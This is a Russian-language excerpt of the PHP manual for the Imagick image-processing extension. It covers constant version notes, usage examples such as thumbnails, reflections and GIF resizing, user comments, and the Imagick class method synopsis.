imagick::ALPHACHANNEL_ASSOCIATE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.9.0 или выше.
imagick::ALPHACHANNEL_DISSOCIATE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.9.0 или выше.
imagick::ALPHACHANNEL_ON (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 7.0.0 или выше.
imagick::ALPHACHANNEL_OFF (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 7.0.0 или выше.
imagick::ALPHACHANNEL_DISCRETE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 7.0.0 или выше.
Константы SPARSECOLORMETHOD

imagick::SPARSECOLORMETHOD_UNDEFINED (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::SPARSECOLORMETHOD_BARYCENTRIC (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::SPARSECOLORMETHOD_BILINEAR (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::SPARSECOLORMETHOD_POLYNOMIAL (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::SPARSECOLORMETHOD_SPEPARDS (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::SPARSECOLORMETHOD_VORONOI (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
Константы FUNCTION

imagick::FUNCTION_UNDEFINED (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.9 или выше.
imagick::FUNCTION_POLYNOMIAL (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.9 или выше.
imagick::FUNCTION_SINUSOID (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.9 или выше.
Константы INTERPOLATE

imagick::INTERPOLATE_UNDEFINED (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.2 или выше.
imagick::INTERPOLATE_AVERAGE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.2 или выше.
imagick::INTERPOLATE_BICUBIC (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.2 или выше.
imagick::INTERPOLATE_BILINEAR (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.2 или выше.
imagick::INTERPOLATE_FILTER (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.2 или выше.
imagick::INTERPOLATE_INTEGER (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.2 или выше.
imagick::INTERPOLATE_MESH (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.2 или выше.
imagick::INTERPOLATE_NEARESTNEIGHBOR (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.2 или выше.
imagick::INTERPOLATE_SPLINE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.4 или выше.
Константы DITHERMETHOD

imagick::DITHERMETHOD_UNDEFINED (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::DITHERMETHOD_NO (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::DITHERMETHOD_RIEMERSMA (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::DITHERMETHOD_FLOYDSTEINBERG (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.

User Contributed Notes

ferenczi dot krisztian at gmail dot com 18-May-2018 12:38
The `COLOR_OPACITY` doesn't exist if you are using ImageMagick lib 7 or newer version!

Here is the c source code:

#if MagickLibVersion < 0x700
    IMAGICK_REGISTER_CONST_LONG("COLOR_OPACITY", PHP_IMAGICK_COLOR_OPACITY);
#endif

There isn't any information about it anywhere (or I didn't find it)! So, if you want to use it, use the 6 version of lib! You can see the current installed version of lib with this command:

$ identify -version
guy dot paddock at redbottledesign dot com 28-Jun-2017 02:46
I believe the description for imagick::COMPOSITE_MINUS is incorrect. It states:

"Subtracts the source from the target"

But according to ImageMagick's documentation:

"The original method name 'Minus' is a synonym for 'Minus_Dst' meaning 'minus the destination'"

And defines "Minus_Dst" as:
"Src - Dest"

So the description of "imagick::COMPOSITE_MINUS" should be "Subtracts the target from the source"


Базовое использование

В PHP очень легко управлять объектом Imagick используя объектно-ориентированный интерфейс. Вот небольшой пример, как сделать миниатюру:

Пример #1 Создание миниатюры в Imagick

<?php

header('Content-type: image/jpeg');

$image = new Imagick('image.jpg');

// Если в качестве ширины или высоты передан 0,
// то сохраняется соотношение сторон
$image->thumbnailImage(100, 0);

echo $image;

?>

С использованием SPL и других объектно-ориентированных функций поддерживаемых в Imagick, можно очень легко изменить размеры всех файлов в директории (полезно для пакетного изменения больших изображений с цифровой камеры для просмотра в Web). Здесь мы используем изменение размера, используя определённые мета-данные:

Пример #2 Создание миниатюр для всех JPG файлов в директории

<?php

$images = new Imagick(glob('images/*.JPG'));

foreach($images as $image) {

// Передаём 0 в thumbnailImage для сохранения соотношения сторон
$image->thumbnailImage(1024,0);

}

$images->writeImages();

?>

Этот пример создаёт отражение изображения. Отражение создаётся зеркальным отображением и наложением градиента на нём. Затем оригинальное изображение и его отражение накладываются на холст.

Пример #3 Создание отражения

<?php
/* Чтение изображения */
$im = new Imagick("test.png");

/* Миниатюра изображения */
$im->thumbnailImage(200, null);

/* Создание рамки для изображения */
$im->borderImage(new ImagickPixel("white"), 5, 5);

/* Клонируем изображение и зеркально поворачиваем его */
$reflection = $im->clone();
$reflection->flipImage();

/* Создаём градиент. Это будет наложением для отражения */
$gradient = new Imagick();

/* Градиент должен быть достаточно большой для изображения и его рамки */
$gradient->newPseudoImage($reflection->getImageWidth() + 10, $reflection->getImageHeight() + 10, "gradient:transparent-black");

/* Наложение градиента на отражение */
$reflection->compositeImage($gradient, imagick::COMPOSITE_OVER, 0, 0);

/* Добавляем прозрачность. Требуется ImageMagick 6.2.9 или выше */
$reflection->setImageOpacity( 0.3 );

/* Создаём пустой холст */
$canvas = new Imagick();

/* Холст должен быть достаточно большой, чтобы вместить оба изображения */
$width = $im->getImageWidth() + 40;
$height = ($im->getImageHeight() * 2) + 30;
$canvas->newImage($width, $height, new ImagickPixel("black"));
$canvas->setImageFormat("png");

/* Наложение оригинального изображения и отражения на холст */
$canvas->compositeImage($im, imagick::COMPOSITE_OVER, 20, 10);
$canvas->compositeImage($reflection, imagick::COMPOSITE_OVER, 20, $im->getImageHeight() + 10);

/* Вывод изображения */
header("Content-Type: image/png");
echo $canvas;
?>

Результатом выполнения данного примера будет что-то подобное:

Пример вывода: Создание отражения изображения

Этот пример иллюстрирует как использовать заливку во время рисования.

Пример #4 Заливка текста градиентом

<?php

/* Создание нового объекта imagick */
$im = new Imagick();

/* Создание нового изображения. Будет использоваться как шаблон заливки */
$im->newPseudoImage(50, 50, "gradient:red-black");

/* Создаём объект imagickdraw */
$draw = new ImagickDraw();

/* Запускаем новый шаблон с названием "gradient" */
$draw->pushPattern('gradient', 0, 0, 50, 50);

/* Смешиваем градиент с шаблоном */
$draw->composite(Imagick::COMPOSITE_OVER, 0, 0, 50, 50, $im);

/* Закрываем шаблон */
$draw->popPattern();

/* Используем шаблон с названием "gradient" для заливки */
$draw->setFillPatternURL('#gradient');

/* Устанавливаем размер шрифта в 52 */
$draw->setFontSize(52);

/* Добавляем свой текст */
$draw->annotation(20, 50, "Hello World!");

/* Создаём новый объект холста и белое изображение */
$canvas = new Imagick();
$canvas->newImage(350, 70, "white");

/* Рисуем ImagickDraw на холсте */
$canvas->drawImage($draw);

/* устанавливаем чёрную рамку шириной 1px вокруг изображения */
$canvas->borderImage('black', 1, 1);

/* Устанавливаем формат PNG */
$canvas->setImageFormat('png');

/* Вывод изображения */
header("Content-Type: image/png");
echo $canvas;
?>

Результатом выполнения данного примера будет что-то подобное:

Пример вывода: Заливка текста градиентом

Работа с анимированными GIF-изображениями

Пример #5 Чтение GIF изображения и изменение размера всех фреймов

<?php

/* Создание нового объекта imagick и чтение в GIF */
$im = new Imagick("example.gif");

/* Изменение размера всех фреймов */
foreach ($im as $frame) {
/* фреймы 50x50 */
$frame->thumbnailImage(50, 50);

/* Устанавливаем виртуальный холст для коррекции размера */
$frame->setImagePage(50, 50, 0, 0);
}

/* Обратите внимание, writeImages вместо writeImage */
$im->writeImages("example_small.gif", true);
?>

Работа с примитивом "эллипс" и пользовательскими шрифтами

Пример #6 Create a PHP logo

<?php
/* Установка ширины и высоты в пропорции логотипа PHP */
$width = 400;
$height = 210;

/* Создание объекта Imagick с поддержкой прозрачности */
$img = new Imagick();
$img->newImage($width, $height, new ImagickPixel('transparent'));

/* Новый объект ImagickDraw для отрисовки эллипса */
$draw = new ImagickDraw();
/* Установка пурпурного цвета заливки для эллипса */
$draw->setFillColor('#777bb4');
/* Задание размеров эллипса */
$draw->ellipse($width / 2, $height / 2, $width / 2, $height / 2, 0, 360);
/* Отрисовка эллипса */
$img->drawImage($draw);

/* Сброс цвета заливки с пурпурного на чёрный для текста (заметьте, что мы используем объект ImagickDraw повторно) */
$draw->setFillColor('black');
/* Задание обводки границы белым цветом */
$draw->setStrokeColor('white');
/* Задание толщины обводки */
$draw->setStrokeWidth(2);
/* Задание кернинга (отрицательные значения означают, что буквы будут ближе друг к другу) */
$draw->setTextKerning(-8);
/* Задание шрифта и его размера, которые используются в логотипе PHP */
$draw->setFont('Handel Gothic.ttf');
$draw->setFontSize(150);
/* Центрирование текста вертикально и горизонтально */
$draw->setGravity(Imagick::GRAVITY_CENTER);

/* Добавление текста "php" со смещением по Y на -10 на холст (внутри эллипса) */
$img->annotateImage($draw, 0, -10, 0, 'php');
$img->setImageFormat('png');

/* Установка соответвующего заголовка для PNG и вывод изображения */
header('Content-Type: image/png');
echo $img;
?>

Результатом выполнения данного примера будет что-то подобное:

Пример вывода : Создаётся логотип PHP с помощью Imagick

User Contributed Notes

vokseli 06-Aug-2014 07:24
Be careful when loading multiple images by passing an array to a new Imagick object. This is from Example #2:

<?php

$images = new Imagick(glob('images/*.JPG'));

?>

If you have lots of images inside the images folder, PHP will consume a lot of memory, ergo it is not recommended. I personally think it's a better idea to loop each image separately:

<?php

$image_files = glob('images/*.JPG');

foreach ($image_files as $image_file) {
    $image = new Imagick($image_file);
    // Do something for the image and so on...
}

?>

This way only a single image is fitted into the memory at a time.
inoshadi at gmail dot com 11-Dec-2013 07:53
on Example #3 Creating a reflection of an image
----------------------------------------------------
/* Clone the image and flip it */
$reflection = $im->clone();
$reflection->flipImage();
----------------------------------------------------
it was using the Imagick::clone function

This function has been DEPRECATED as of imagick 3.1.0 in favour of using the clone keyword.

use below code instead:
----------------------------------------------------
/* Clone the image and flip it */
$reflection = clone $im;
$reflection->flipImage();
----------------------------------------------------

http://php.net/manual/en/imagick.clone.php


Класс Imagick

(PECL imagick 2, PECL imagick 3)

Обзор классов

class Imagick implements Iterator {
public __construct(mixed $files = ?)
public adaptiveBlurImage(float $radius, float $sigma, int $channel = Imagick::CHANNEL_DEFAULT): bool
public adaptiveResizeImage(
int $columns,
int $rows,
bool $bestfit = false,
bool $legacy = false
): bool
public adaptiveSharpenImage(float $radius, float $sigma, int $channel = Imagick::CHANNEL_DEFAULT): bool
public adaptiveThresholdImage(int $width, int $height, int $offset): bool
public addImage(Imagick $source): bool
public addNoiseImage(int $noise_type, int $channel = Imagick::CHANNEL_DEFAULT): bool
public affineTransformImage(ImagickDraw $matrix): bool
public animateImages(string $x_server): bool
public annotateImage(
ImagickDraw $draw_settings,
float $x,
float $y,
float $angle,
string $text
): bool
public appendImages(bool $stack): Imagick
public autoLevelImage(int $channel = Imagick::CHANNEL_DEFAULT): bool
public averageImages(): Imagick
public blackThresholdImage(mixed $threshold): bool
public blueShiftImage(float $factor = 1.5): bool
public blurImage(float $radius, float $sigma, int $channel = ?): bool
public borderImage(mixed $bordercolor, int $width, int $height): bool
public brightnessContrastImage(float $brightness, float $contrast, int $channel = Imagick::CHANNEL_DEFAULT): bool
public charcoalImage(float $radius, float $sigma): bool
public chopImage(
int $width,
int $height,
int $x,
int $y
): bool
public clampImage(int $channel = Imagick::CHANNEL_DEFAULT): bool
public clear(): bool
public clipImage(): bool
public clipImagePath(string $pathname, string $inside): void
public clipPathImage(string $pathname, bool $inside): bool
public clone(): Imagick
public clutImage(Imagick $lookup_table, int $channel = Imagick::CHANNEL_DEFAULT): bool
public coalesceImages(): Imagick
public colorFloodfillImage(
mixed $fill,
float $fuzz,
mixed $bordercolor,
int $x,
int $y
): bool
public colorizeImage(mixed $colorize, mixed $opacity, bool $legacy = false): bool
public colorMatrixImage(array $color_matrix = Imagick::CHANNEL_DEFAULT): bool
public combineImages(int $channelType): Imagick
public commentImage(string $comment): bool
public compareImageChannels(Imagick $image, int $channelType, int $metricType): array
public compareImageLayers(int $method): Imagick
public compareImages(Imagick $compare, int $metric): array
public compositeImage(
Imagick $composite_object,
int $composite,
int $x,
int $y,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public contrastImage(bool $sharpen): bool
public contrastStretchImage(float $black_point, float $white_point, int $channel = Imagick::CHANNEL_DEFAULT): bool
public convolveImage(array $kernel, int $channel = Imagick::CHANNEL_DEFAULT): bool
public count(int $mode = 0): int
public cropImage(
int $width,
int $height,
int $x,
int $y
): bool
public cropThumbnailImage(int $width, int $height, bool $legacy = false): bool
public current(): Imagick
public cycleColormapImage(int $displace): bool
public decipherImage(string $passphrase): bool
public deconstructImages(): Imagick
public deleteImageArtifact(string $artifact): bool
public deleteImageProperty(string $name): bool
public deskewImage(float $threshold): bool
public despeckleImage(): bool
public destroy(): bool
public displayImage(string $servername): bool
public displayImages(string $servername): bool
public distortImage(int $method, array $arguments, bool $bestfit): bool
public drawImage(ImagickDraw $draw): bool
public edgeImage(float $radius): bool
public embossImage(float $radius, float $sigma): bool
public encipherImage(string $passphrase): bool
public enhanceImage(): bool
public equalizeImage(): bool
public evaluateImage(int $op, float $constant, int $channel = Imagick::CHANNEL_DEFAULT): bool
public exportImagePixels(
int $x,
int $y,
int $width,
int $height,
string $map,
int $STORAGE
): array
public extentImage(
int $width,
int $height,
int $x,
int $y
): bool
public filter(ImagickKernel $ImagickKernel, int $channel = Imagick::CHANNEL_UNDEFINED): bool
public flattenImages(): Imagick
public flipImage(): bool
public floodFillPaintImage(
mixed $fill,
float $fuzz,
mixed $target,
int $x,
int $y,
bool $invert,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public flopImage(): bool
public forwardFourierTransformimage(bool $magnitude): bool
public frameImage(
mixed $matte_color,
int $width,
int $height,
int $inner_bevel,
int $outer_bevel
): bool
public functionImage(int $function, array $arguments, int $channel = Imagick::CHANNEL_DEFAULT): bool
public fxImage(string $expression, int $channel = Imagick::CHANNEL_DEFAULT): Imagick
public gammaImage(float $gamma, int $channel = Imagick::CHANNEL_DEFAULT): bool
public gaussianBlurImage(float $radius, float $sigma, int $channel = Imagick::CHANNEL_DEFAULT): bool
public getColorspace(): int
public getCompression(): int
public getCompressionQuality(): int
public static getCopyright(): string
public getFilename(): string
public getFont(): string
public getFormat(): string
public getGravity(): int
public static getHomeURL(): string
public getImage(): Imagick
public getImageAlphaChannel(): bool
public getImageArtifact(string $artifact): string
public getImageAttribute(string $key): string
public getImageBackgroundColor(): ImagickPixel
public getImageBlob(): string
public getImageBluePrimary(): array
public getImageBorderColor(): ImagickPixel
public getImageChannelDepth(int $channel): int
public getImageChannelDistortion(Imagick $reference, int $channel, int $metric): float
public getImageChannelDistortions(Imagick $reference, int $metric, int $channel = Imagick::CHANNEL_DEFAULT): float
public getImageChannelExtrema(int $channel): array
public getImageChannelKurtosis(int $channel = Imagick::CHANNEL_DEFAULT): array
public getImageChannelMean(int $channel): array
public getImageChannelRange(int $channel): array
public getImageChannelStatistics(): array
public getImageClipMask(): Imagick
public getImageColormapColor(int $index): ImagickPixel
public getImageColors(): int
public getImageColorspace(): int
public getImageCompose(): int
public getImageCompression(): int
public getImageCompressionQuality(): int
public getImageDelay(): int
public getImageDepth(): int
public getImageDispose(): int
public getImageDistortion(MagickWand $reference, int $metric): float
public getImageExtrema(): array
public getImageFilename(): string
public getImageFormat(): string
public getImageGamma(): float
public getImageGeometry(): array
public getImageGravity(): int
public getImageGreenPrimary(): array
public getImageHeight(): int
public getImageHistogram(): array
public getImageIndex(): int
public getImageInterlaceScheme(): int
public getImageInterpolateMethod(): int
public getImageIterations(): int
public getImageLength(): int
public getImageMatte(): bool
public getImageMatteColor(): ImagickPixel
public getImageMimeType(): string
public getImageOrientation(): int
public getImagePage(): array
public getImagePixelColor(int $x, int $y): ImagickPixel
public getImageProfile(string $name): string
public getImageProfiles(string $pattern = "*", bool $include_values = true): array
public getImageProperties(string $pattern = "*", bool $include_values = true): array
public getImageProperty(string $name): string
public getImageRedPrimary(): array
public getImageRegion(
int $width,
int $height,
int $x,
int $y
): Imagick
public getImageRenderingIntent(): int
public getImageResolution(): array
public getImagesBlob(): string
public getImageScene(): int
public getImageSignature(): string
public getImageSize(): int
public getImageTicksPerSecond(): int
public getImageTotalInkDensity(): float
public getImageType(): int
public getImageUnits(): int
public getImageVirtualPixelMethod(): int
public getImageWhitePoint(): array
public getImageWidth(): int
public getInterlaceScheme(): int
public getIteratorIndex(): int
public getNumberImages(): int
public getOption(string $key): string
public static getPackageName(): string
public getPage(): array
public getPixelIterator(): ImagickPixelIterator
public getPixelRegionIterator(
int $x,
int $y,
int $columns,
int $rows
): ImagickPixelIterator
public getPointSize(): float
public static getQuantum(): int
public static getQuantumDepth(): array
public static getQuantumRange(): array
public static getRegistry(string $key): string
public static getReleaseDate(): string
public static getResource(int $type): int
public static getResourceLimit(int $type): int
public getSamplingFactors(): array
public getSize(): array
public getSizeOffset(): int
public static getVersion(): array
public haldClutImage(Imagick $clut, int $channel = Imagick::CHANNEL_DEFAULT): bool
public hasNextImage(): bool
public hasPreviousImage(): bool
public identifyFormat(string $embedText): string|false
public identifyImage(bool $appendRawOutput = false): array
public implodeImage(float $radius): bool
public importImagePixels(
int $x,
int $y,
int $width,
int $height,
string $map,
int $storage,
array $pixels
): bool
public inverseFourierTransformImage(Imagick $complement, bool $magnitude): bool
public labelImage(string $label): bool
public levelImage(
float $blackPoint,
float $gamma,
float $whitePoint,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public linearStretchImage(float $blackPoint, float $whitePoint): bool
public liquidRescaleImage(
int $width,
int $height,
float $delta_x,
float $rigidity
): bool
public static listRegistry(): array
public magnifyImage(): bool
public mapImage(Imagick $map, bool $dither): bool
public matteFloodfillImage(
float $alpha,
float $fuzz,
mixed $bordercolor,
int $x,
int $y
): bool
public medianFilterImage(float $radius): bool
public mergeImageLayers(int $layer_method): Imagick
public minifyImage(): bool
public modulateImage(float $brightness, float $saturation, float $hue): bool
public montageImage(
ImagickDraw $draw,
string $tile_geometry,
string $thumbnail_geometry,
int $mode,
string $frame
): Imagick
public morphImages(int $number_frames): Imagick
public morphology(
int $morphologyMethod,
int $iterations,
ImagickKernel $ImagickKernel,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public mosaicImages(): Imagick
public motionBlurImage(
float $radius,
float $sigma,
float $angle,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public negateImage(bool $gray, int $channel = Imagick::CHANNEL_DEFAULT): bool
public newImage(
int $cols,
int $rows,
mixed $background,
string $format = ?
): bool
public newPseudoImage(int $columns, int $rows, string $pseudoString): bool
public nextImage(): bool
public normalizeImage(int $channel = Imagick::CHANNEL_DEFAULT): bool
public oilPaintImage(float $radius): bool
public opaquePaintImage(
mixed $target,
mixed $fill,
float $fuzz,
bool $invert,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public optimizeImageLayers(): bool
public orderedPosterizeImage(string $threshold_map, int $channel = Imagick::CHANNEL_DEFAULT): bool
public paintFloodfillImage(
mixed $fill,
float $fuzz,
mixed $bordercolor,
int $x,
int $y,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public paintOpaqueImage(
mixed $target,
mixed $fill,
float $fuzz,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public paintTransparentImage(mixed $target, float $alpha, float $fuzz): bool
public pingImage(string $filename): bool
public pingImageBlob(string $image): bool
public pingImageFile(resource $filehandle, string $fileName = ?): bool
public polaroidImage(ImagickDraw $properties, float $angle): bool
public posterizeImage(int $levels, bool $dither): bool
public previewImages(int $preview): bool
public previousImage(): bool
public profileImage(string $name, ?string $profile): bool
public quantizeImage(
int $numberColors,
int $colorspace,
int $treedepth,
bool $dither,
bool $measureError
): bool
public quantizeImages(
int $numberColors,
int $colorspace,
int $treedepth,
bool $dither,
bool $measureError
): bool
public queryFontMetrics(ImagickDraw $properties, string $text, bool $multiline = ?): array
public static queryFonts(string $pattern = "*"): array
public static queryFormats(string $pattern = "*"): array
public radialBlurImage(float $angle, int $channel = Imagick::CHANNEL_DEFAULT): bool
public raiseImage(
int $width,
int $height,
int $x,
int $y,
bool $raise
): bool
public randomThresholdImage(float $low, float $high, int $channel = Imagick::CHANNEL_DEFAULT): bool
public readImage(string $filename): bool
public readImageBlob(string $image, string $filename = ?): bool
public readImageFile(resource $filehandle, string $fileName = null): bool
public readImages(array $filenames): bool
public recolorImage(array $matrix): bool
public reduceNoiseImage(float $radius): bool
public remapImage(Imagick $replacement, int $DITHER): bool
public removeImage(): bool
public removeImageProfile(string $name): string
public render(): bool
public resampleImage(
float $x_resolution,
float $y_resolution,
int $filter,
float $blur
): bool
public resetImagePage(string $page): bool
public resizeImage(
int $columns,
int $rows,
int $filter,
float $blur,
bool $bestfit = false,
bool $legacy = false
): bool
public rollImage(int $x, int $y): bool
public rotateImage(mixed $background, float $degrees): bool
public rotationalBlurImage(float $angle, int $channel = Imagick::CHANNEL_DEFAULT): bool
public roundCorners(
float $x_rounding,
float $y_rounding,
float $stroke_width = 10,
float $displace = 5,
float $size_correction = -6
): bool
public sampleImage(int $columns, int $rows): bool
public scaleImage(
int $columns,
int $rows,
bool $bestfit = false,
bool $legacy = false
): bool
public segmentImage(
int $COLORSPACE,
float $cluster_threshold,
float $smooth_threshold,
bool $verbose = false
): bool
public selectiveBlurImage(
float $radius,
float $sigma,
float $threshold,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public separateImageChannel(int $channel): bool
public sepiaToneImage(float $threshold): bool
public setBackgroundColor(mixed $background): bool
public setColorspace(int $COLORSPACE): bool
public setCompression(int $compression): bool
public setCompressionQuality(int $quality): bool
public setFilename(string $filename): bool
public setFirstIterator(): bool
public setFont(string $font): bool
public setFormat(string $format): bool
public setGravity(int $gravity): bool
public setImage(Imagick $replace): bool
public setImageAlphaChannel(int $mode): bool
public setImageArtifact(string $artifact, string $value): bool
public setImageAttribute(string $key, string $value): bool
public setImageBackgroundColor(mixed $background): bool
public setImageBias(float $bias): bool
public setImageBiasQuantum(float $bias): void
public setImageBluePrimary(float $x, float $y): bool
public setImageBorderColor(mixed $border): bool
public setImageChannelDepth(int $channel, int $depth): bool
public setImageClipMask(Imagick $clip_mask): bool
public setImageColormapColor(int $index, ImagickPixel $color): bool
public setImageColorspace(int $colorspace): bool
public setImageCompose(int $compose): bool
public setImageCompression(int $compression): bool
public setImageCompressionQuality(int $quality): bool
public setImageDelay(int $delay): bool
public setImageDepth(int $depth): bool
public setImageDispose(int $dispose): bool
public setImageExtent(int $columns, int $rows): bool
public setImageFilename(string $filename): bool
public setImageFormat(string $format): bool
public setImageGamma(float $gamma): bool
public setImageGravity(int $gravity): bool
public setImageGreenPrimary(float $x, float $y): bool
public setImageIndex(int $index): bool
public setImageInterlaceScheme(int $interlace_scheme): bool
public setImageInterpolateMethod(int $method): bool
public setImageIterations(int $iterations): bool
public setImageMatte(bool $matte): bool
public setImageMatteColor(mixed $matte): bool
public setImageOpacity(float $opacity): bool
public setImageOrientation(int $orientation): bool
public setImagePage(
int $width,
int $height,
int $x,
int $y
): bool
public setImageProfile(string $name, string $profile): bool
public setImageProperty(string $name, string $value): bool
public setImageRedPrimary(float $x, float $y): bool
public setImageRenderingIntent(int $rendering_intent): bool
public setImageResolution(float $x_resolution, float $y_resolution): bool
public setImageScene(int $scene): bool
public setImageTicksPerSecond(int $ticks_per_second): bool
public setImageType(int $image_type): bool
public setImageUnits(int $units): bool
public setImageVirtualPixelMethod(int $method): bool
public setImageWhitePoint(float $x, float $y): bool
public setInterlaceScheme(int $interlace_scheme): bool
public setIteratorIndex(int $index): bool
public setLastIterator(): bool
public setOption(string $key, string $value): bool
public setPage(
int $width,
int $height,
int $x,
int $y
): bool
public setPointSize(float $point_size): bool
public setProgressMonitor(callable $callback): bool
public static setRegistry(string $key, string $value): bool
public setResolution(float $x_resolution, float $y_resolution): bool
public static setResourceLimit(int $type, int $limit): bool
public setSamplingFactors(array $factors): bool
public setSize(int $columns, int $rows): bool
public setSizeOffset(int $columns, int $rows, int $offset): bool
public setType(int $image_type): bool
public shadeImage(bool $gray, float $azimuth, float $elevation): bool
public shadowImage(
float $opacity,
float $sigma,
int $x,
int $y
): bool
public sharpenImage(float $radius, float $sigma, int $channel = Imagick::CHANNEL_DEFAULT): bool
public shaveImage(int $columns, int $rows): bool
public shearImage(mixed $background, float $x_shear, float $y_shear): bool
public sigmoidalContrastImage(
bool $sharpen,
float $alpha,
float $beta,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public sketchImage(float $radius, float $sigma, float $angle): bool
public smushImages(bool $stack, int $offset): Imagick
public solarizeImage(int $threshold): bool
public sparseColorImage(int $SPARSE_METHOD, array $arguments, int $channel = Imagick::CHANNEL_DEFAULT): bool
public spliceImage(
int $width,
int $height,
int $x,
int $y
): bool
public spreadImage(float $radius): bool
public statisticImage(
int $type,
int $width,
int $height,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public steganoImage(Imagick $watermark_wand, int $offset): Imagick
public stereoImage(Imagick $offset_wand): bool
public stripImage(): bool
public subImageMatch(Imagick $Imagick, array &$offset = ?, float &$similarity = ?): Imagick
swirlImage(float $degrees): bool
textureImage(Imagick $texture_wand): Imagick
public thresholdImage(float $threshold, int $channel = Imagick::CHANNEL_DEFAULT): bool
public thumbnailImage(
int $columns,
int $rows,
bool $bestfit = false,
bool $fill = false,
bool $legacy = false
): bool
public tintImage(mixed $tint, mixed $opacity, bool $legacy = false): bool
public __toString(): string
public transformImage(string $crop, string $geometry): Imagick
public transformImageColorspace(int $colorspace): bool
public transparentPaintImage(
mixed $target,
float $alpha,
float $fuzz,
bool $invert
): bool
public transposeImage(): bool
public transverseImage(): bool
public trimImage(float $fuzz): bool
public uniqueImageColors(): bool
public unsharpMaskImage(
float $radius,
float $sigma,
float $amount,
float $threshold,
int $channel = Imagick::CHANNEL_DEFAULT
): bool
public valid(): bool
public vignetteImage(
float $blackPoint,
float $whitePoint,
int $x,
int $y
): bool
public waveImage(float $amplitude, float $length): bool
public whiteThresholdImage(mixed $threshold): bool
public writeImage(string $filename = NULL): bool
public writeImageFile(resource $filehandle, string $format = ?): bool
public writeImages(string $filename, bool $adjoin): bool
public writeImagesFile(resource $filehandle, string $format = ?): bool
}

Методы изображения и глобальные методы

Класс Imagick имеет возможность удерживать и обрабатывать несколько изображений одновременно. Это достигается за счёт внутреннего стека, в котором существует указатель, указывающий на текущее изображение. Некоторые функции работают со всеми изображениями в классе Imagick, но всё-таки, большинство работает только с текущим изображением во внутреннем стеке. По соглашению, имена методов могут содержать слово Image для обозначения того, что они влияют только на текущее изображение в стеке.

Методы класса

Здесь приведён список наиболее используемых методов, объединённых в группы по назначению:

Методы класса по назначению
Эффекты изображения | Методы получения | Методы установки | Чтение/запись изображений | Другие
Imagick::adaptiveBlurImage() | Imagick::getCompression() | Imagick::setBackgroundColor() | Imagick::__construct() | Imagick::clear()
Imagick::adaptiveResizeImage() | Imagick::getFilename() | Imagick::setCompressionQuality() | Imagick::addImage() | Imagick::clone()
Imagick::adaptiveSharpenImage() | Imagick::getFormat() | Imagick::setCompression() | Imagick::appendImages() | Imagick::current()
Imagick::adaptiveThresholdImage() | Imagick::getImageBackgroundColor() | Imagick::setFilename() | Imagick::getFilename() | Imagick::destroy()
Imagick::addNoiseImage() | Imagick::getImageBlob() | Imagick::getImagesBlob() | Imagick::setFormat() | Imagick::getFormat()
Imagick::affinetransformimage() | Imagick::getImageBluePrimary() | Imagick::setImageBackgroundColor() | Imagick::getImageFilename() | Imagick::getHomeURL()
Imagick::annotateImage() | Imagick::getImageBorderColor() | Imagick::setFirstIterator() | Imagick::getImageFormat() | Imagick::commentImage()
Imagick::averageImages() | Imagick::getImageChannelDepth() | Imagick::setImageBias() | Imagick::getImage() | Imagick::getNumberImages()
Imagick::blackThresholdImage() | Imagick::getImageChannelDistortion() | Imagick::setImageBluePrimary() | Imagick::setImageFilename() | Imagick::getReleaseDate()
Imagick::blurImage() | Imagick::getImageChannelExtrema() | Imagick::setImageBorderColor() | Imagick::setImageFormat() | Imagick::getVersion()
Imagick::borderImage() | Imagick::getImageChannelMean() | Imagick::setImageChannelDepth() | Imagick::readImageFile() | Imagick::hasNextImage()
Imagick::charcoalImage() | Imagick::getImageChannelStatistics() | Imagick::setImageColormapColor() | Imagick::readImage() | Imagick::hasPreviousImage()
Imagick::chopImage() | Imagick::getImageColormapColor() | Imagick::setImageColorSpace() | Imagick::writeImages() | Imagick::labelImage()
Imagick::clipImage() | Imagick::getImageColorspace() | Imagick::setImageCompose() | Imagick::writeImage() | Imagick::newImage()
